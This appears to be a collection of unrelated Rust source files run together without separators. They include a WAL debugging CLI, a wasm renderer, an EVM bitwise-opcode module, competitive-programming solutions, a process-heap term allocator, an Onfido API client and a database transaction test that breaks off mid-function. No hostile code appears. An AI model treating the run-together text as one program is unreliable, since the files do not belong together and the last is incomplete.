enum RegenerateError { #[error("failed to rediscover namespace schema: {0}")] NamespaceSchemaDiscoveryFailed(#[from] regenerate_lp::TableIndexLookupError), #[error("failed to rewrite a table batch: {0}")] TableBatchWriteFailure(#[from] wal_inspect::WriteError), } #[derive(Debug, clap::Parser)] pub struct Config { #[clap(subcommand)] command: Command, } /// Subcommands for debugging the ingester WAL #[derive(Debug, clap::Parser)] enum Command { /// Inspect the encoded contents of a WAL file in a human readable manner Inspect(inspect::Config), /// Regenerate line protocol writes from the contents of a WAL file. When /// looking up measurement names from IOx, the target host must implement /// the namespace and schema APIs RegenerateLp(regenerate_lp::Config), } /// Executes a WAL debugging subcommand as directed by the config pub async fn command<C, CFut>(connection: C, config: Config) -> Result<(), Error> where C: Send + FnOnce() -> CFut, CFut: Send + Future<Output = Connection>, { match config.command { Command::Inspect(config) => inspect::command(config), Command::RegenerateLp(config) => regenerate_lp::command(connection, config).await, } }
pub mod counter; pub mod elapsed_time;
use wasm_bindgen::prelude::*; use web_sys::HtmlCanvasElement; use crate::renderers::consts::*; #[wasm_bindgen] pub struct RsRenderer { pub(super) width: usize, pub(super) height: usize, pub(super) framebuffer: Vec<u8> } #[wasm_bindgen] impl RsRenderer { pub fn new(width: usize, height: usize) -> RsRenderer { let mut r = RsRenderer { width, height, framebuffer: vec![] }; r.framebuffer.resize(r.get_framebuffer_len(), 255); r } #[wasm_bindgen(js_name = getFramebuffer)] pub fn get_framebuffer(&mut self) -> *const u8 { return self.framebuffer.as_ptr(); } #[wasm_bindgen(js_name = setCanvasSize)] pub fn set_canvas_size(&self, canvas: HtmlCanvasElement) { canvas.set_width (self.get_framebuffer_width() as u32); canvas.set_height(self.get_framebuffer_height() as u32); } } impl RsRenderer { pub(super) fn get_framebuffer_len(&self) -> usize { self.get_framebuffer_width() * self.get_framebuffer_height() * 4 } pub(super) fn get_framebuffer_width(&self) -> usize { self.width * (CELL_SIZE + GRID_SIZE) + GRID_SIZE } pub(super) fn get_framebuffer_height(&self) -> usize { self.height * (CELL_SIZE + GRID_SIZE) + GRID_SIZE } } impl Drop for RsRenderer { fn drop(&mut self) { log!("Dropping RsRenderer1"); } }
use crate::Transformer; use lowlang_syntax::*; use lowlang_syntax::visit::VisitorMut; pub struct BlockMerger<'t> { current_body: Option<*mut Body<'t>>, current_block: Option<*mut Block<'t>>, changed: bool, } impl<'t> BlockMerger<'t> { pub fn new() -> BlockMerger<'t> { BlockMerger { current_body: None, current_block: None, changed: false, } } fn body(&mut self) -> &mut Body<'t> { unsafe { &mut *self.current_body.unwrap() } } fn block(&mut self) -> &mut Block<'t> { unsafe { &mut *self.current_block.unwrap() } } } impl<'t> Transformer<'t> for BlockMerger<'t> { fn transform(&mut self, package: &mut Package<'t>) -> bool { self.visit_package(package); self.changed } fn reset(&mut self) { self.current_body = None; self.current_block = None; self.changed = false; } } impl<'t> VisitorMut<'t> for BlockMerger<'t> { #[inline] fn visit_body(&mut self, body: &mut Body<'t>) { self.current_body = Some(body); self.super_body(body); } #[inline] fn visit_block(&mut self, block: &mut Block<'t>) { self.current_block = Some(block); self.super_block(block); } fn visit_term(&mut self, term: &mut Terminator<'t>) { if let Terminator::Jump(target) = term { let target = self.body().blocks[target].clone(); self.block().stmts.extend(target.stmts); *term = target.term; self.changed = true; } } }
//! different shakespeare datasets use std::error::Error; use std::fs::File; use std::io::Read; use std::path::Path; use crate::utils::download; /// 100000 characters of shakespeare /// http://karpathy.github.io/2015/05/21/rnn-effectiveness/ pub fn shakespeare_100000(download_dir: &Path) -> Result<String, Box<dyn Error>> { download( "https://cs.stanford.edu/people/karpathy/char-rnn/shakespear.txt", download_dir, false, )?; let mut f = File::open(download_dir.join("shakespear.txt"))?; let mut s = String::new(); f.read_to_string(&mut s)?; Ok(s) }
use std::io::{Read, Result as IOResult}; use crate::PrimitiveRead; #[derive(Copy, Clone, Debug, Default)] pub struct Lump { pub file_offset: i32, pub file_length: i32, pub version: i32, pub four_cc: i32, } impl Lump { pub fn read(reader: &mut dyn Read) -> IOResult<Self> { let file_offset = reader.read_i32()?; let file_length = reader.read_i32()?; let version = reader.read_i32()?; let four_cc = reader.read_i32()?; Ok(Self { file_offset, file_length, version, four_cc, }) } }
use std::collections::HashMap; use std::io; use std::io::Read; use regex::Regex; fn main() { let mut input = String::new(); io::stdin().read_to_string(&mut input).unwrap(); let re = Regex::new(r"(?m)(?:^mask = ([01X]+)$)|(?:^mem\[(\d+)\] = (\d+)$)").unwrap(); let mut mem = HashMap::new(); let mut mask_dis = 0xFFFFFFFFF; let mut masks_en = Vec::new(); for i in re.captures_iter(&input) { if let Some(mask) = i.get(1) { let mask_en = mask.as_str().chars().fold(0, |acc, x| { (acc << 1) | match x { '1' => 1, _ => 0 } }); mask_dis = mask.as_str().chars().fold(0, |acc, x| { (acc << 1) | match x { 'X' => 0, _ => 1 } }); let mask_float: Vec<_> = mask .as_str() .chars() .rev() .enumerate() .filter(|&(_, x)| x == 'X') .map(|(n, _)| 1 << n) .collect(); masks_en = (0..1 << mask_float.len()).map(|x| { ((0..mask_float.len()).filter(|y| x & (1 << y) != 0 ).map(|y| mask_float[y]).sum::<u64>()) | mask_en }).collect(); } else if let (Some(addr), Some(val)) = (i.get(2), i.get(3)) { let addr: u64 = addr.as_str().parse().unwrap(); let val: u64 = val.as_str().parse().unwrap(); for j in &masks_en { mem.insert((addr & mask_dis) | j, val); } } } println!("{}", mem.values().sum::<u64>()); }
fn main() { let stdin = std::io::stdin(); let mut rd = ProconReader::new(stdin.lock()); let h: usize = rd.get(); let w: usize = rd.get(); let a: Vec<Vec<char>> = (0..h).map(|_| rd.get_chars()).collect(); let mut left = vec![vec![0; w]; h]; let mut right = vec![vec![0; w]; h]; let mut up = vec![vec![0; w]; h]; let mut down = vec![vec![0; w]; h]; for i in 0..h { for j in 0..w { if a[i][j] == '.' { left[i][j] += 1; if j >= 1 { left[i][j] += left[i][j - 1]; } } } for j in (0..w).rev() { if a[i][j] == '.' { right[i][j] += 1; if j + 1 < w { right[i][j] += right[i][j + 1]; } } } } for j in 0..w { for i in 0..h { if a[i][j] == '.' { up[i][j] += 1; if i >= 1 { up[i][j] += up[i - 1][j]; } } } for i in (0..h).rev() { if a[i][j] == '.' { down[i][j] += 1; if i + 1 < h { down[i][j] += down[i + 1][j]; } } } } let mut free = 0; for i in 0..h { for j in 0..w { if a[i][j] == '.' { free += 1; } } } type Mint = ModInt1000000007; let one = Mint::new(1); let two = Mint::new(2); let mut ans = Mint::new(0); for i in 0..h { for j in 0..w { if a[i][j] == '#' { continue; } let cnt = left[i][j] + right[i][j] + up[i][j] + down[i][j] - 4 + 1; ans = ans + (two.pow(cnt) - one) * two.pow(free - cnt); } } println!("{}", ans.val()); } use std::fmt::Debug; use std::marker::PhantomData; use std::ops::{Add, Div, Mul, Sub}; pub trait Modulo: Copy + Clone + Debug { fn p() -> i64; } #[derive(Copy, Clone, Debug)] pub struct ModInt<M>(i64, PhantomData<M>); impl<M: Modulo> ModInt<M> { pub fn new<T>(x: T) -> Self where T: Into<i64>, { let x = x.into(); if 0 <= x && x < M::p() { Self::new_raw(x) } else { Self::new_raw(x.rem_euclid(M::p())) } } pub fn new_raw(x: i64) -> Self { Self(x, PhantomData) } pub fn val(self) -> i64 { self.0 } pub fn mo() -> i64 { M::p() } pub fn pow(self, exp: u64) -> Self { let mut res = 1; let mut base = self.0; let mut exp = exp; let mo = Self::mo(); while exp > 0 { if exp & 1 == 1 { res *= base; res %= mo; } base *= base; base %= mo; exp >>= 1; } Self::new_raw(res) } pub fn inv(self) -> Self { assert_ne!(self.0, 0, "Don't divide by zero!"); self.pow(Self::mo() as u64 - 2) } pub fn new_frac(numer: i64, denom: i64) -> Self { Self::new(numer) / Self::new(denom) } } #[allow(clippy::suspicious_arithmetic_impl)] impl<M: Modulo> Add for ModInt<M> { type Output = ModInt<M>; fn add(self, rhs: ModInt<M>) -> Self::Output { let x = self.0 + rhs.0; debug_assert!(x >= 0); if x < Self::mo() { Self::new_raw(x) } else { Self::new_raw(x - Self::mo()) } } } #[allow(clippy::suspicious_arithmetic_impl)] impl<M: Modulo> Sub for ModInt<M> { type Output = ModInt<M>; fn sub(self, rhs: ModInt<M>) -> Self::Output { let x = self.0 - rhs.0; debug_assert!(x < Self::mo()); if x >= 0 { Self::new_raw(x) } else { Self::new_raw(x + Self::mo()) } } } impl<M: Modulo> Mul for ModInt<M> { type Output = ModInt<M>; fn mul(self, rhs: ModInt<M>) -> Self::Output { Self::new(self.0 * rhs.0) } } #[allow(clippy::suspicious_arithmetic_impl)] impl<M: Modulo> Div for ModInt<M> { type Output = ModInt<M>; fn div(self, rhs: ModInt<M>) -> Self::Output { self * rhs.inv() } } #[macro_export] macro_rules! define_mod_int_p { ($mod: ident, $mod_int: ident, $p: expr) => { #[derive(Clone, Copy, Debug)] pub struct $mod; impl Modulo for $mod { fn p() -> i64 { $p } } pub type $mod_int = ModInt<$mod>; }; } define_mod_int_p!(Mod1000000007, ModInt1000000007, 1_000_000_000 + 7); define_mod_int_p!(Mod998244353, ModInt998244353, 998_244_353); pub struct ProconReader<R> { r: R, l: String, i: usize, } impl<R: std::io::BufRead> ProconReader<R> { pub fn new(reader: R) -> Self { Self { r: reader, l: String::new(), i: 0, } } pub fn get<T>(&mut self) -> T where T: std::str::FromStr, <T as std::str::FromStr>::Err: std::fmt::Debug, { self.skip_blanks(); assert!(self.i < self.l.len()); // remain some character assert_ne!(&self.l[self.i..=self.i], " "); let rest = &self.l[self.i..]; let len = rest.find(' ').unwrap_or_else(|| rest.len()); let val = rest[..len] .parse() .unwrap_or_else(|_| panic!("parse error `{}`", rest)); self.i += len; val } fn skip_blanks(&mut self) { loop { match self.l[self.i..].find(|ch| ch != ' ') { Some(j) => { self.i += j; break; } None => { self.l.clear(); self.i = 0; let num_bytes = self .r .read_line(&mut self.l) .unwrap_or_else(|_| panic!("invalid UTF-8")); assert!(num_bytes > 0, "reached EOF :("); self.l = self .l .trim_end_matches('\n') .trim_end_matches('\r') .to_string(); } } } } pub fn get_vec<T>(&mut self, n: usize) -> Vec<T> where T: std::str::FromStr, <T as std::str::FromStr>::Err: std::fmt::Debug, { (0..n).map(|_| self.get()).collect() } pub fn get_chars(&mut self) -> Vec<char> { self.get::<String>().chars().collect() } }
use std::fmt; use super::items::Item; use super::items::wall::Wall; use super::items::player::Player; use super::geometry::Geometry; pub struct World{ //Using a box with a 'trait object' called Item //We box Item because we can never know the size of an Item //which means that it can only be borrowed. And borrowed means that someone somewhere must be the owner. //By boxing the trait object the Box becomes the owner. If the vector ever drops the box, the box and the item it contains will be destroyed. pub items: Vec<Box<Item>> } impl World{ pub fn new () -> World{ World{items:vec![]} } //Set self mutable, else we will not be able to mutate the vector. pub fn add_wall(&mut self) { let wall = Wall{geo:Geometry{x:1,y:1}, width:10, height:10}; //Box the wall, else it would go out of scope when function returns ( at } ). &self.items.push(Box::new(wall)); } //Set self mutable, else we will not be able to mutate the vector. pub fn add_player(&mut self) { let player = Player{g:Geometry{x:1,y:1}, radius:1, name:String::from("mr awesome.")}; //Box the wall, else it would go out of scope when function returns ( at } ). &self.items.push(Box::new(player)); } } impl fmt::Display for World { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "\nItems:").unwrap(); for item in &self.items{ write!(f, "\n{}", item).unwrap(); } Ok(()) } }
//! Bitwise instructions use bigint::{Sign, M256, MI256}; use super::State; use crate::{Memory, Patch}; pub fn iszero<M: Memory, P: Patch>(state: &mut State<M, P>) { pop!(state, op1); if op1 == M256::zero() { push!(state, M256::from(1u64)); } else { push!(state, M256::zero()); } } pub fn not<M: Memory, P: Patch>(state: &mut State<M, P>) { pop!(state, op1); push!(state, !op1); } pub fn byte<M: Memory, P: Patch>(state: &mut State<M, P>) { pop!(state, op1, op2); let mut ret = M256::zero(); for i in 0..256 { if i < 8 && op1 < 32.into() { let o: usize = op1.as_usize(); let t = 255 - (7 - i + 8 * o); let bit_mask = M256::one() << t; let value = (op2 & bit_mask) >> t; ret = ret + (value << i); } } push!(state, ret); } pub fn shl<M: Memory, P: Patch>(state: &mut State<M, P>) { pop!(state, shift, value); let result = if value == M256::zero() || shift >= M256::from(256) { M256::zero() } else { let shift: u64 = shift.into(); value << shift as usize }; push!(state, result); } pub fn shr<M: Memory, P: Patch>(state: &mut State<M, P>) { pop!(state, shift, value); let result = if value == M256::zero() || shift >= M256::from(256) { M256::zero() } else { let shift: u64 = shift.into(); value >> shift as usize }; push!(state, result); } pub fn sar<M: Memory, P: Patch>(state: &mut State<M, P>) { pop!(state, shift, value); let value = MI256::from(value); let result = if value == MI256::zero() || shift >= M256::from(256) { let MI256(sign, _) = value; match sign { // value is 0 or >=1, pushing 0 Sign::Plus | Sign::NoSign => M256::zero(), // value is <0, pushing -1 Sign::Minus => MI256(Sign::Minus, M256::one()).into(), } } else { let shift: u64 = shift.into(); match value.0 { Sign::Plus | Sign::NoSign => value.1 >> shift as usize, Sign::Minus => { let shifted = ((value.1 - M256::one()) >> shift as usize) + M256::one(); MI256(Sign::Minus, shifted).into() } } }; push!(state, result); }
use screen::dimension::Dimension; use screen::layout::layout::{Layout, LayoutRc}; use screen::screen::Screen; pub struct HLayout { data: Vec<LayoutRc>, width: usize, height: usize, } impl HLayout { pub fn new(data: Vec<LayoutRc>) -> HLayout { let width = data.iter().fold(0, |a, l| a + l.width()); let height = data.iter().fold(0, |a, l| a.max(l.height())); Self { data, width, height, } } } impl Dimension for HLayout { fn width(&self) -> usize { self.width } fn height(&self) -> usize { self.height } } impl Layout for HLayout { fn to_screen(&self, x: usize, y: usize, target: &mut Screen) { let mut pad = 0; let max_height = self.height(); for l in self.data.iter() { let tab = (max_height - l.height()) / 2; l.to_screen(x + pad, y + tab, target); pad += l.width(); } } }
use std::alloc::Layout; use std::any::type_name; use std::ffi::c_void; use std::ptr::{self, NonNull}; use std::str::Chars; use std::sync::Arc; use hashbrown::HashMap; use liblumen_core::util::reference::bytes; use liblumen_core::util::reference::str::inherit_lifetime as inherit_str_lifetime; use crate::borrow::CloneToProcess; use crate::erts::exception::{AllocResult, InternalResult}; use crate::erts::module_function_arity::Arity; use crate::erts::string::Encoding; use crate::erts::term::closure::{Creator, Index, OldUnique, Unique}; use crate::erts::term::prelude::*; use crate::erts::Node; use crate::scheduler; use super::{Heap, VirtualAllocator}; /// A trait, like `Alloc`, specifically for allocation of terms on a process heap pub trait TermAlloc: Heap { /// Constructs a binary from the given byte slice, and associated with the given process /// /// For inputs greater than 64 bytes in size, the resulting binary data is allocated /// on the global shared heap, and reference counted (a `ProcBin`), the header to that /// binary is allocated on the process heap, and the data is placed in the processes' /// virtual binary heap, and a boxed term is returned which can then be placed on the stack, /// or as part of a larger structure if desired. /// /// For inputs less than or equal to 64 bytes, both the header and data are allocated /// on the process heap, and a boxed term is returned as described above. /// /// NOTE: If allocation fails for some reason, `Err(Alloc)` is returned, this usually /// indicates that a process needs to be garbage collected, but in some cases may indicate /// that the global heap is out of space. fn binary_from_bytes(&mut self, bytes: &[u8]) -> AllocResult<Term> where Self: VirtualAllocator<ProcBin>, { let len = bytes.len(); // Allocate ProcBins for sizes greater than 64 bytes if len > 64 { match self.procbin_from_bytes(bytes) { Err(error) => Err(error), Ok(bin_ptr) => { // Add the binary to the process's virtual binary heap self.virtual_alloc(bin_ptr); Ok(bin_ptr.into()) } } } else { self.heapbin_from_bytes(bytes).map(|nn| nn.into()) } } /// Either returns a `&[u8]` to the pre-existing bytes in the heap binary, process binary, or /// aligned subbinary or creates a new aligned binary and returns the bytes from that new /// binary. fn bytes_from_binary<'heap>( &'heap mut self, binary: Term, ) -> Result<&'heap [u8], BytesFromBinaryError> where Self: VirtualAllocator<ProcBin>, { match binary.decode().unwrap() { TypedTerm::HeapBinary(bin_ptr) => { Ok(unsafe { bytes::inherit_lifetime(bin_ptr.as_ref().as_bytes()) }) } TypedTerm::ProcBin(bin) => Ok(unsafe { bytes::inherit_lifetime(bin.as_bytes()) }), TypedTerm::BinaryLiteral(bin) => Ok(unsafe { bytes::inherit_lifetime(bin.as_bytes()) }), TypedTerm::SubBinary(bin) => { if bin.is_binary() { if bin.bit_offset() == 0 { Ok(unsafe { bytes::inherit_lifetime(bin.as_bytes_unchecked()) }) } else { let aligned_byte_vec: Vec<u8> = bin.full_byte_iter().collect(); let aligned = self .binary_from_bytes(&aligned_byte_vec) .map_err(|error| BytesFromBinaryError::Alloc(error))?; self.bytes_from_binary(aligned) } } else { Err(BytesFromBinaryError::NotABinary) } } _ => Err(BytesFromBinaryError::Type), } } /// Constructs a binary from the given string, and associated with the given process /// /// For inputs greater than 64 bytes in size, the resulting binary data is allocated /// on the global shared heap, and reference counted (a `ProcBin`), the header to that /// binary is allocated on the process heap, and the data is placed in the processes' /// virtual binary heap, and a boxed term is returned which can then be placed on the stack, /// or as part of a larger structure if desired. /// /// For inputs less than or equal to 64 bytes, both the header and data are allocated /// on the process heap, and a boxed term is returned as described above. /// /// NOTE: If allocation fails for some reason, `Err(Alloc)` is returned, this usually /// indicates that a process needs to be garbage collected, but in some cases may indicate /// that the global heap is out of space. fn binary_from_str(&mut self, s: &str) -> AllocResult<Term> where Self: VirtualAllocator<ProcBin>, { let len = s.len(); // Allocate ProcBins for sizes greater than 64 bytes if len > HeapBin::MAX_SIZE { match self.procbin_from_str(s) { Err(error) => Err(error), Ok(bin_ptr) => { // Add the binary to the process's virtual binary heap self.virtual_alloc(bin_ptr); Ok(bin_ptr.into()) } } } else { self.heapbin_from_str(s).map(|nn| nn.into()) } } /// Constructs an integer value from any type that implements `Into<Integer>`, /// which currently includes `SmallInteger`, `BigInteger`, `usize` and `isize`. /// /// This operation will transparently handle constructing the correct type of term /// based on the input value, i.e. an immediate small integer for values that fit, /// else a heap-allocated big integer for larger values. fn integer<I: Into<Integer>>(&mut self, i: I) -> AllocResult<Term> where Self: Sized, { match i.into() { Integer::Small(small) => Ok(small.into()), Integer::Big(big) => big.clone_to_heap(self), } } #[cfg(target_arch = "x86_64")] fn float(&mut self, f: f64) -> AllocResult<Float> { Ok(Float::new(f)) } #[cfg(not(target_arch = "x86_64"))] fn float(&mut self, f: f64) -> AllocResult<Boxed<Float>> { let float = Float::new(f); unsafe { let ptr = self.alloc_layout(Layout::new::<Float>())?.as_ptr() as *mut Float; ptr.write(float); Ok(Boxed::new_unchecked(ptr)) } } /// Constructs a list of only the head and tail, and associated with the given process. fn cons<T, U>(&mut self, head: T, tail: U) -> AllocResult<Boxed<Cons>> where T: Into<Term>, U: Into<Term>, { let cons = Cons::new(head.into(), tail.into()); unsafe { let ptr = self.alloc_layout(Layout::new::<Cons>())?.as_ptr() as *mut Cons; ptr.write(cons); Ok(Boxed::new_unchecked(ptr)) } } fn improper_list_from_iter<I>( &mut self, iter: I, last: Term, ) -> AllocResult<Option<Boxed<Cons>>> where I: DoubleEndedIterator + Iterator<Item = Term>, { let mut head: *mut Cons = ptr::null_mut(); let mut acc: Term = last; for element in iter.rev() { head = self.cons(element, acc)?.as_ptr(); acc = head.into(); } if head.is_null() { // There were no elements in the iterator, // which actually makes this a proper list if last.is_nil() { // Empty list, no elements return Ok(None); } else if last.is_non_empty_list() { // We were given a cons cell as the last element, // so just return that let tail: Boxed<Cons> = last.dyn_cast(); return Ok(Some(tail)); } else { // Just a single element list return Ok(Some(self.cons(acc, Term::NIL)?)); } } Ok(Boxed::new(head)) } fn improper_list_from_slice( &mut self, slice: &[Term], tail: Term, ) -> AllocResult<Option<Boxed<Cons>>> { self.improper_list_from_iter(slice.iter().copied(), tail) } fn charlist_from_str(&mut self, s: &str) -> AllocResult<Option<Boxed<Cons>>> where Self: Sized, { self.list_from_chars(s.chars()) } /// Constructs a list from the chars and associated with the given process. fn list_from_chars(&mut self, chars: Chars) -> AllocResult<Option<Boxed<Cons>>> where Self: Sized, { let mut head: *mut Cons = ptr::null_mut(); let mut acc = Term::NIL; for character in chars.rev() { let codepoint = self.integer(character)?; head = self.cons(codepoint, acc)?.as_ptr(); acc = head.into(); } Ok(Boxed::new(head)) } fn list_from_iter<I>(&mut self, iter: I) -> AllocResult<Option<Boxed<Cons>>> where I: DoubleEndedIterator + Iterator<Item = Term>, { self.improper_list_from_iter(iter, Term::NIL) } fn list_from_slice(&mut self, slice: &[Term]) -> AllocResult<Option<Boxed<Cons>>> { self.improper_list_from_slice(slice, Term::NIL) } /// Constructs a map and associated with the given process. fn map_from_hash_map(&mut self, hash_map: HashMap<Term, Term>) -> AllocResult<Boxed<Map>> where Self: Sized, { let boxed = Map::from_hash_map(hash_map).clone_to_heap(self)?; let ptr: Boxed<Map> = boxed.dyn_cast(); Ok(ptr) } /// Constructs a map and associated with the given process. fn map_from_slice(&mut self, slice: &[(Term, Term)]) -> AllocResult<Boxed<Map>> where Self: Sized, { let boxed = Map::from_slice(slice).clone_to_heap(self)?; let ptr: Boxed<Map> = boxed.dyn_cast(); Ok(ptr) } #[inline] fn local_pid_with_node_id( &mut self, node_id: usize, number: usize, serial: usize, ) -> InternalResult<Pid> { assert_eq!(node_id, 0); Ok(Pid::new(number, serial)?) } fn external_pid( &mut self, arc_node: Arc<Node>, number: usize, serial: usize, ) -> InternalResult<Boxed<ExternalPid>> where Self: Sized, { let pid = ExternalPid::new(arc_node, number, serial)?.clone_to_heap(self)?; let boxed: *mut ExternalPid = pid.dyn_cast(); Ok(unsafe { Boxed::new_unchecked(boxed) }) } /// Constructs a heap-allocated binary from the given byte slice, and associated with the given /// process #[inline] fn heapbin_from_bytes(&mut self, s: &[u8]) -> AllocResult<Boxed<HeapBin>> { HeapBin::from_slice(self, s, Encoding::Raw) } /// Constructs a heap-allocated binary from the given string, and associated with the given /// process #[inline] fn heapbin_from_str(&mut self, s: &str) -> AllocResult<Boxed<HeapBin>> { HeapBin::from_str(self, s) } /// Constructs a reference-counted binary from the given byte slice, and associated with the /// given process fn procbin_from_bytes(&mut self, s: &[u8]) -> AllocResult<Boxed<ProcBin>> { // Allocates on global heap let bin = ProcBin::from_slice(s, Encoding::Raw)?; unsafe { // Allocates space on the process heap for the header let ptr = self.alloc_layout(Layout::new::<ProcBin>())?.as_ptr() as *mut ProcBin; // Write the header to the process heap ptr.write(bin); Ok(Boxed::new_unchecked(ptr)) } } /// Constructs a reference-counted binary from the given string, and associated with the given /// process fn procbin_from_str(&mut self, s: &str) -> AllocResult<Boxed<ProcBin>> { // Allocates on global heap let bin = ProcBin::from_str(s)?; unsafe { // Allocates space on the process heap for the header let ptr = self.alloc_layout(Layout::new::<ProcBin>())?.as_ptr() as *mut ProcBin; // Write the header to the process heap ptr.write(bin); Ok(Boxed::new_unchecked(ptr)) } } /// Creates a `Reference` with the given `number` associated with the Process. fn reference( &mut self, scheduler_id: scheduler::ID, number: ReferenceNumber, ) -> AllocResult<Boxed<Reference>> { let layout = Reference::layout(); let reference_ptr = unsafe { self.alloc_layout(layout)?.as_ptr() as *mut Reference }; let reference = Reference::new(scheduler_id, number); unsafe { // Write header reference_ptr.write(reference); Ok(Boxed::new_unchecked(reference_ptr)) } } fn resource<V: 'static>(&mut self, value: V) -> AllocResult<Boxed<Resource>> where Self: Sized, { Resource::from_value(self, Box::new(value), type_name::<V>()) } /// Either returns a `&str` to the pre-existing bytes in the heap binary, process binary, or /// aligned subbinary or creates a new aligned binary and returns the bytes from that new /// binary. fn str_from_binary<'heap>( &'heap mut self, binary: Term, ) -> Result<&'heap str, StrFromBinaryError> where Self: VirtualAllocator<ProcBin>, { let bytes = self.bytes_from_binary(binary)?; str_from_binary_bytes(bytes) } /// Constructs a subbinary from the given original, and associated with the given process. /// /// `original` must be a heap binary or a process binary. To take the subbinary of a subbinary, /// use the first subbinary's original instead and combine the offsets. /// /// NOTE: If allocation fails for some reason, `Err(Alloc)` is returned, this usually /// indicates that a process needs to be garbage collected, but in some cases may indicate /// that the global heap is out of space. fn subbinary_from_original( &mut self, original: Term, byte_offset: usize, bit_offset: u8, full_byte_len: usize, partial_byte_bit_len: u8, ) -> AllocResult<Boxed<SubBinary>> { let subbinary = SubBinary::from_original( original, byte_offset, bit_offset, full_byte_len, partial_byte_bit_len, ); unsafe { let ptr = self.alloc_layout(Layout::new::<SubBinary>())?.as_ptr() as *mut SubBinary; ptr.write(subbinary); Ok(Boxed::new_unchecked(ptr)) } } /// Constructs a match context from some boxed binary term fn match_context_from_binary<B>(&mut self, binary: Boxed<B>) -> AllocResult<Boxed<MatchContext>> where B: ?Sized + Bitstring + Encode<Term>, { let match_ctx = MatchContext::new(binary.into()); unsafe { let ptr = self.alloc_layout(Layout::new::<MatchContext>())?.as_ptr() as *mut MatchContext; ptr.write(match_ctx); Ok(Boxed::new_unchecked(ptr)) } } /// Constructs a `Tuple` that needs to be filled with elements and then boxed. fn mut_tuple(&mut self, len: usize) -> AllocResult<Boxed<Tuple>> { Tuple::new(self, len) } /// Constructs a `Tuple` from a slice of `Term` /// /// The resulting `Term` is a box pointing to the tuple header, and can itself be used in /// a slice passed to `tuple_from_slice` to produce nested tuples. fn tuple_from_slice(&mut self, elements: &[Term]) -> AllocResult<Boxed<Tuple>> { Tuple::from_slice(self, elements) } /// Clones a `Closure` from an existing `Closure` #[inline] fn copy_closure(&mut self, closure: Boxed<Closure>) -> AllocResult<Boxed<Closure>> { closure.clone_to(self) } /// Constructs a `Closure` from a slice of `Term` /// /// Be aware that this does not allocate non-immediate terms in `elements` on the process heap, /// it is expected that the slice provided is constructed from either immediate terms, or /// terms which were returned from other constructor functions, e.g. `binary_from_str`. /// /// The resulting `Term` is a box pointing to the closure header, and can itself be used in /// a slice passed to `closure_with_env_from_slice` to produce nested closures or tuples. fn anonymous_closure_with_env_from_slice( &mut self, module: Atom, index: Index, old_unique: OldUnique, unique: Unique, arity: Arity, native: Option<NonNull<c_void>>, creator: Creator, slice: &[Term], ) -> AllocResult<Boxed<Closure>> { Closure::from_slice( self, module, index, old_unique, unique, arity, native, creator, slice, ) } /// Constructs a `Closure` from slices of `Term` /// /// Be aware that this does not allocate non-immediate terms in `elements` on the process heap, /// it is expected that the slice provided is constructed from either immediate terms, or /// terms which were returned from other constructor functions, e.g. `binary_from_str`. /// /// The resulting `Term` is a box pointing to the closure header, and can itself be used in /// a slice passed to `closure_with_env_from_slice` to produce nested closures or tuples. fn anonymous_closure_with_env_from_slices( &mut self, module: Atom, index: Index, old_unique: OldUnique, unique: Unique, arity: Arity, native: Option<NonNull<c_void>>, creator: Creator, slices: &[&[Term]], ) -> AllocResult<Boxed<Closure>> { let len = slices.iter().map(|slice| slice.len()).sum(); let mut closure_box = Closure::new_anonymous( self, module, index, old_unique, unique, arity, native, creator, len, )?; unsafe { let closure_ref = closure_box.as_mut(); let env_slice = closure_ref.env_slice_mut(); let mut env_ptr = env_slice.as_mut_ptr(); // Write each element for slice in slices { for element in *slice { env_ptr.write(*element); env_ptr = env_ptr.offset(1); } } } Ok(closure_box) } fn export_closure( &mut self, module: Atom, function: Atom, arity: u8, native: Option<NonNull<c_void>>, ) -> AllocResult<Boxed<Closure>> { Closure::new_export(self, module, function, arity, native) } } impl<T> TermAlloc for T where T: Heap {} impl<T, H> TermAlloc for T where H: TermAlloc, T: core::ops::DerefMut<Target = H>, { } fn str_from_binary_bytes<'heap>(bytes: &'heap [u8]) -> Result<&'heap str, StrFromBinaryError> { match core::str::from_utf8(bytes) { Ok(s) => Ok(unsafe { inherit_str_lifetime(s) }), Err(utf8_error) => Err(StrFromBinaryError::Utf8Error(utf8_error)), } }
use crate::*; use reqwest::Url; use serde::{Deserialize, Serialize}; use std::fmt; use std::fmt::{Display, Formatter}; #[derive(Debug, Deserialize, Serialize)] pub struct DocumentsList { pub documents: Vec<Document>, } impl Display for DocumentsList { fn fmt(&self, f: &mut Formatter) -> fmt::Result { match serde_json::to_string_pretty(&self) { Ok(pretty) => write!(f, "{}", pretty), Err(_) => Err(fmt::Error), } } } impl DocumentsList { pub fn get_docs_list(api_token: &str, app: &Applicant) -> Result<Self> { let url = Url::parse(&format!( "https://api.onfido.com/v2/applicants/{}/documents/", app.get_id() ))?; let list: DocumentsList = api::get_onfido(url, api_token)?.json()?; Ok(list) } }
extern crate serde; mod test_utils; use chrono::NaiveDate; use flexi_logger::LoggerHandle; use hdbconnect::{Connection, HdbResult}; // From wikipedia: // // Isolation level Lost updates Dirty reads Non-repeatable reads Phantoms // ---------------------------------------------------------------------------------------- // Read Uncommitted don't occur may occur may occur may occur // Read Committed don't occur don't occur may occur may occur // Repeatable Read don't occur don't occur don't occur may occur // Serializable don't occur don't occur don't occur don't occur // #[test] // cargo test --test test_031_transactions -- --nocapture pub fn test_031_transactions() -> HdbResult<()> { let mut log_handle = test_utils::init_logger(); let start = std::time::Instant::now(); let mut connection = test_utils::get_authenticated_connection()?; connection.set_auto_commit(false)?; if let Some(server_error) = write1_read2(&mut log_handle, &mut connection, "READ UNCOMMITTED") .err() .unwrap() .server_error() { let error_info: (i32, String, String) = connection .query(format!( "select * from SYS.M_ERROR_CODES where code = {}", server_error.code() ))? .try_into()?; assert_eq!(error_info.0, 7); assert_eq!(error_info.1, "ERR_FEATURE_NOT_SUPPORTED"); log::info!("error_info: {:?}", error_info); } else { panic!("did not receive ServerError"); } write1_read2(&mut log_handle, &mut connection, "READ COMMITTED")?; write1_read2(&mut log_handle, &mut connection, "REPEATABLE READ")?; write1_read2(&mut log_handle, &mut connection, "SERIALIZABLE")?; // SET TRANSACTION { READ ONLY | READ WRITE } // SET TRANSACTION LOCK WAIT TIMEOUT <unsigned_integer> // (milliseconds) // let result = conn.exec("SET TRANSACTION LOCK WAIT TIMEOUT 3000")?; // (milliseconds) test_utils::closing_info(connection, start) } fn write1_read2( _log_handle: &mut LoggerHandle, connection1: &mut Connection, 